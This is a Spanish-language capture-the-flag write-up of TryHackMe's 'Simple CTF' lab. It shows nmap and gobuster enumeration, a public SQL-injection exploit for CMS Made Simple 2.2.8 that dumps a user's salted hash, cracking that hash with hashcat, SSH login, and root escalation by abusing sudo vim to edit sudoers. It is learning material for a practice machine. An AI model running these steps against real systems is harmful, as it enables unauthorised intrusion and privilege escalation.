Esta es una de las máquina simples de TryHackMe, y se trata de un CTF guiado. Aqui se muestra el write up de la resolución de la máquina, no voy a poner las preguntas resueltas, tan solo el proceso.
Enlace a la máquina: https://tryhackme.com/room/easyctf
Reconocimiento
Se realiza un reconocimiento completo de servicios en la maquina con nmap.
sudo nmap 10.10.124.41 -sSV -p- -T5 --min-rate 50000 -Pn -n
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-04 06:35 CEST
Nmap scan report for 10.10.124.41
Host is up (0.054s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.78 seconds
Se detectan varios servicios, ftp, httpd y ssh por el puerto 2222.
En condiciones normales, lo suyo sería revisar cada una de las versiones de esos servicios y buscar con vulnerabilidades conocidas, pero esta máquina esta configurada para guiarte en el camino.
Se visita la URL y «http://ip_de_la_maquina/» y se tiene una página por defecto de apache.
Discovery con Gobuster
gobuster dir -u "http://10.10.124.41/" -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.124.41/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 291]
/.htaccess (Status: 403) [Size: 296]
/.htpasswd (Status: 403) [Size: 296]
/index.html (Status: 200) [Size: 11321]
/robots.txt (Status: 200) [Size: 929]
/server-status (Status: 403) [Size: 300]
/simple (Status: 301) [Size: 313] [--> http://10.10.124.41/simple/]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
===============================================================
En el directorio /simple parece estar instalado un CMS: «CMS Made Simple
This site is powered by CMS Made Simple version 2.2.8
Se reliaza un segundo descubrimiento de directorios con gobuster, y se descubren algunas URLs de login en el admin panel, interesantes para probar fuerza bruta o ataques de SQL injection…
gobuster dir -u "http://10.10.124.41/simple/" -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.124.41/simple/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 303]
/.htpasswd (Status: 403) [Size: 303]
/.hta (Status: 403) [Size: 298]
/admin (Status: 301) [Size: 319] [--> http://10.10.124.41/simple/admin/]
/assets (Status: 301) [Size: 320] [--> http://10.10.124.41/simple/assets/]
/doc (Status: 301) [Size: 317] [--> http://10.10.124.41/simple/doc/]
/index.php (Status: 200) [Size: 19913]
/lib (Status: 301) [Size: 317] [--> http://10.10.124.41/simple/lib/]
/modules (Status: 301) [Size: 321] [--> http://10.10.124.41/simple/modules/]
/tmp (Status: 301) [Size: 317] [--> http://10.10.124.41/simple/tmp/]
/uploads (Status: 301) [Size: 321] [--> http://10.10.124.41/simple/uploads/]
Progress: 4746 / 4747 (99.98%)
===============================================================
Finished
Exploit
Tras investigar sobre el CMS y la versión, se descibre un CVE conocido y un exploit que podeis encontrar en los siguientes enlaces:
- CVE: https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2019-9053
- Exploit: https://www.exploit-db.com/exploits/46635
Procedemos a descargar el script en python y hacerlo funcionar, lo primero que me doy cuenta es que el script esta en python2 y hoy en día se usa python3 (y es el que tengo instalado)
python 46635.py -u "http://10.10.124.41/simple/" 1 ↵ zft
File "/home/jade/thm/simplectf/46635.py", line 25
print "[+] Specify an url target"
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?
Aqui te das cuenta que lo esta pasando es que esta usando python en su versión 2, porque una de las cosas «mas destacadas» que cambiaron fue el compartamiento de print
Dos opciones, o remodificar el codigo apra ponerlo a python3, con AI o usar python2.
He optado por la segunda.
En mi caso estoy usando arch linux y he tenido que instalar los siguiente paquetes:
sudo pacman -Sy python2 python2-requests python2-termcolor
Ejecutamos el script:
python 46635.py -u "http://10.10.124.41/simple/"
#resultado
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
Ya tenemos la salt y el password. El propio script te da la posibilidad de usar un diccionario para tratar de cracker la contraseña, pero después de probarlo, parece que no funciona.. correctamente
Tras hacer algunas pruebas con John The Ripper con diferentes formatos… no terminaba de funcionar.
Por lo que decido usar Hashcat, sabiendo que la encriptación es MD5
echo "0c01f4468bd75d7a84c7eB73846e8d96:1dac0d92e9fa6bb2" > hash.txt
hashcat -m 20 -a 0 hash.txt ../rockyou.txt
Y el password es: ‘secret’
Otro camino habría sido tratar de realizar fuerza bruta en ssh con hydra y el usuario mitch.
Ya tenemos, revisamos el backend del cms en http://10.10.124.41/simple/admin/login.php pero no encontramos nada interesante.
Nos logueamos con SSH por el puerto 2222. Hay que tener en cuenta que si usamos el comando ssh sin especificar el puerto, este por defecto usará el puerto 22 y no funcionará.
Privilege escalation
Para privilage escalation he necesitado algo de ayuda de aqui: https://derek-toohey19.medium.com/tryhackme-simple-ctf-walkthrough-bd05cca1073f
La parte de escalada de privilegios no la tengo tan trabajada por ahora…
Pasamos rapidamente a una bash
para mejorar la experiencia y revisamos los permisos que
mitch@Machine:~$ sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
Por lo visto, se puede usr VIM para ejecutar comando, y se puede ejecutar VIM con sudo.
Lo más sencillo que he encontrado para escalar privilegios, es entrar de esta forma:
sudo vim
#dentro de vim
:!visudo
#Añadir lo siguiente
mitch ALL=(ALL:ALL) ALL
# Guardar y salir
De esta forma le estamos dando al usuario mitch capacidad para ejecutar sudo en nombre de cualquier usuario.
sudo su
#PWN3D